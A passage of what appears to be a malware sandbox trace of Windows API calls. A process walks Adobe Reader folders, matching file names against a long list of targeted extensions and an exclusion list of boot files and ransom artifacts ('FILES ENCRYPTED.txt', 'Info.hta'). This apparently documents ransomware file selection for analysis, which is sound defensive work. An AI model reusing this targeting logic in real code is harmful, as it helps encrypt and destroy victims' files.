(lpString1=".dbf", lpString2="s.js") returned -1 [0270.120] lstrlenW (lpString=".dbx") returned 4 [0270.120] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".dc3") returned 4 [0270.121] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".dcm") returned 4 [0270.121] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".dcr") returned 4 [0270.121] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".der") returned 4 [0270.121] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".dib") returned 4 [0270.121] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".dic") returned 4 [0270.121] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".dif") returned 4 [0270.121] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".divx") returned 5 [0270.121] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.121] lstrlenW (lpString=".djvu") returned 5 [0270.121] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.121] lstrlenW (lpString=".dng") returned 4 [0270.121] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".doc") returned 4 [0270.121] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.121] lstrlenW (lpString=".docm") returned 5 [0270.122] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.122] lstrlenW (lpString=".docx") returned 5 [0270.122] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.122] lstrlenW (lpString=".dot") returned 4 [0270.122] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.122] lstrlenW (lpString=".dotm") returned 5 [0270.122] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.122] lstrlenW (lpString=".dotx") returned 5 [0270.122] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.122] lstrlenW (lpString=".dpx") returned 4 [0270.122] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.122] lstrlenW (lpString=".dqy") returned 4 [0270.122] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.122] lstrlenW (lpString=".dsn") returned 4 [0270.122] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.122] lstrlenW (lpString=".dt") returned 3 [0270.122] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.122] lstrlenW (lpString=".dtd") returned 4 [0270.122] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".dwg") returned 4 [0270.123] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".dwt") returned 4 [0270.123] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".dx") returned 3 [0270.123] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.123] lstrlenW (lpString=".dxf") returned 4 [0270.123] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".edml") returned 5 [0270.123] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.123] lstrlenW (lpString=".efd") returned 4 [0270.123] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".elf") returned 4 [0270.123] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".emf") returned 4 [0270.123] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".emz") returned 4 [0270.123] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".epf") returned 4 [0270.123] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".eps") returned 4 [0270.123] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.123] lstrlenW (lpString=".epsf") returned 5 [0270.124] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.124] lstrlenW (lpString=".epsp") returned 5 [0270.124] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.124] lstrlenW (lpString=".erf") returned 4 [0270.124] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".exr") returned 4 [0270.124] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".f4v") returned 4 [0270.124] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".fido") returned 5 [0270.124] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0270.124] lstrlenW (lpString=".flm") returned 4 [0270.124] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".flv") returned 4 [0270.124] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".frm") returned 4 [0270.124] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".fxg") returned 4 [0270.124] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".geo") returned 4 [0270.124] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0270.124] lstrlenW (lpString=".gif") returned 4 [0270.124] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".grs") returned 4 [0270.125] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".gz") returned 3 [0270.125] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.125] lstrlenW (lpString=".h") returned 2 [0270.125] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.125] lstrlenW (lpString=".hdr") returned 4 [0270.125] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".hpp") returned 4 [0270.125] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".hta") returned 4 [0270.125] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".htc") returned 4 [0270.125] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".htm") returned 4 [0270.125] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".html") returned 5 [0270.125] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.125] lstrlenW (lpString=".icb") returned 4 [0270.125] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".ics") returned 4 [0270.125] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.125] lstrlenW (lpString=".iff") returned 4 [0270.126] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".inc") returned 4 [0270.126] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".indd") returned 5 [0270.126] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.126] lstrlenW (lpString=".ini") returned 4 [0270.126] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".iqy") returned 4 [0270.126] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".j2c") returned 4 [0270.126] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".j2k") returned 4 [0270.126] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".java") returned 5 [0270.126] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.126] lstrlenW (lpString=".jp2") returned 4 [0270.126] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".jpc") returned 4 [0270.126] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".jpe") returned 4 [0270.126] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.126] lstrlenW (lpString=".jpeg") returned 5 [0270.127] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.127] lstrlenW (lpString=".jpf") returned 4 [0270.127] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.127] lstrlenW (lpString=".jpg") returned 4 [0270.127] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.127] lstrlenW (lpString=".jpx") returned 4 [0270.127] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.127] lstrlenW (lpString=".js") returned 3 [0270.127] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.127] lstrlenW (lpString="ui-strings.js") returned 13 [0270.127] lstrlenW (lpString=".love$") returned 6 [0270.127] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0270.127] lstrlenW (lpString="ui-strings.js") returned 13 [0270.127] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0270.127] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0270.128] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js") returned 120 [0270.128] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.129] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0270.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.129] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0270.129] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw") returned 106 [0270.129] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw") returned 1 [0270.129] lstrlenW (lpString="zh-tw") returned 5 [0270.129] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-tw") returned -1 [0270.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.129] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw") returned 106 [0270.130] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0270.130] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.130] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.131] lstrlenW (lpString="ui-strings.js") returned 13 [0270.131] lstrlenW (lpString=".1cd") returned 4 [0270.131] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.131] lstrlenW (lpString=".3ds") returned 4 [0270.131] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.131] lstrlenW (lpString=".3fr") returned 4 [0270.131] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.131] lstrlenW (lpString=".3g2") returned 4 [0270.131] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.131] lstrlenW (lpString=".3gp") returned 4 [0270.131] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.131] lstrlenW (lpString=".7z") returned 3 [0270.131] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.131] lstrlenW (lpString=".accda") returned 6 [0270.131] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.131] lstrlenW (lpString=".accdb") returned 6 [0270.131] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.131] lstrlenW (lpString=".accdc") returned 6 [0270.131] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.131] lstrlenW (lpString=".accde") returned 6 [0270.132] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.132] lstrlenW (lpString=".accdt") returned 6 [0270.132] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.132] lstrlenW (lpString=".accdw") returned 6 [0270.132] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.132] lstrlenW (lpString=".adb") returned 4 [0270.132] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.132] lstrlenW (lpString=".adp") returned 4 [0270.132] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.132] lstrlenW (lpString=".ai") returned 3 [0270.132] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.132] lstrlenW (lpString=".ai3") returned 4 [0270.132] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.132] lstrlenW (lpString=".ai4") returned 4 [0270.132] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.132] lstrlenW (lpString=".ai5") returned 4 [0270.132] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.132] lstrlenW (lpString=".ai6") returned 4 [0270.132] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".ai7") returned 4 [0270.133] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".ai8") returned 4 [0270.133] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".anim") returned 5 [0270.133] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.133] lstrlenW (lpString=".arw") returned 4 [0270.133] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".as") returned 3 [0270.133] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.133] lstrlenW (lpString=".asa") returned 4 [0270.133] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".asc") returned 4 [0270.133] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".ascx") returned 5 [0270.133] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.133] lstrlenW (lpString=".asm") returned 4 [0270.133] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.133] lstrlenW (lpString=".asmx") returned 5 [0270.133] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.133] lstrlenW (lpString=".asp") returned 4 [0270.134] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".aspx") returned 5 [0270.134] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.134] lstrlenW (lpString=".asr") returned 4 [0270.134] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".asx") returned 4 [0270.134] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".avi") returned 4 [0270.134] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".avs") returned 4 [0270.134] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".backup") returned 7 [0270.134] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.134] lstrlenW (lpString=".bak") returned 4 [0270.134] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".bay") returned 4 [0270.134] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".bd") returned 3 [0270.134] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.134] lstrlenW (lpString=".bin") returned 4 [0270.134] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.134] lstrlenW (lpString=".bmp") returned 4 [0270.134] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".bz2") returned 4 [0270.135] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".c") returned 2 [0270.135] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.135] lstrlenW (lpString=".cdr") returned 4 [0270.135] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".cer") returned 4 [0270.135] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".cf") returned 3 [0270.135] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.135] lstrlenW (lpString=".cfc") returned 4 [0270.135] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".cfm") returned 4 [0270.135] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".cfml") returned 5 [0270.135] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.135] lstrlenW (lpString=".cfu") returned 4 [0270.135] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".chm") returned 4 [0270.135] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".cin") returned 4 [0270.135] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.135] lstrlenW (lpString=".class") returned 6 [0270.135] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.135] lstrlenW (lpString=".clx") returned 4 [0270.136] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.136] lstrlenW (lpString=".config") returned 7 [0270.136] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.468] lstrlenW (lpString=".cpp") returned 4 [0270.468] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".cr2") returned 4 [0270.468] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".crt") returned 4 [0270.468] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".crw") returned 4 [0270.468] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".cs") returned 3 [0270.468] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.468] lstrlenW (lpString=".css") returned 4 [0270.468] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".csv") returned 4 [0270.468] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".cub") returned 4 [0270.468] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.468] lstrlenW (lpString=".dae") returned 4 [0270.468] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dat") returned 4 [0270.469] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".db") returned 3 [0270.469] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.469] lstrlenW (lpString=".dbf") returned 4 [0270.469] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dbx") returned 4 [0270.469] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dc3") returned 4 [0270.469] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dcm") returned 4 [0270.469] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dcr") returned 4 [0270.469] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".der") returned 4 [0270.469] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dib") returned 4 [0270.469] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dic") returned 4 [0270.469] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".dif") returned 4 [0270.469] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.469] lstrlenW (lpString=".divx") returned 5 [0270.469] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.469] lstrlenW (lpString=".djvu") returned 5 [0270.469] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.470] lstrlenW (lpString=".dng") returned 4 [0270.470] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".doc") returned 4 [0270.470] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".docm") returned 5 [0270.470] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.470] lstrlenW (lpString=".docx") returned 5 [0270.470] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.470] lstrlenW (lpString=".dot") returned 4 [0270.470] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".dotm") returned 5 [0270.470] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.470] lstrlenW (lpString=".dotx") returned 5 [0270.470] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.470] lstrlenW (lpString=".dpx") returned 4 [0270.470] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".dqy") returned 4 [0270.470] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".dsn") returned 4 [0270.470] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".dt") returned 3 [0270.470] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.470] lstrlenW (lpString=".dtd") returned 4 [0270.470] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".dwg") returned 4 [0270.470] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.470] lstrlenW (lpString=".dwt") returned 4 [0270.471] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.471] lstrlenW (lpString=".dx") returned 3 [0270.471] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.471] lstrlenW (lpString=".dxf") returned 4 [0270.471] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.471] lstrlenW (lpString=".edml") returned 5 [0270.471] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.471] lstrlenW (lpString=".efd") returned 4 [0270.471] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.471] lstrlenW (lpString=".elf") returned 4 [0270.471] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.471] lstrlenW (lpString=".emf") returned 4 [0270.471] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.471] lstrlenW (lpString=".emz") returned 4 [0270.471] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.471] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.472] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0270.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.472] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0270.472] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0270.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0270.472] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, 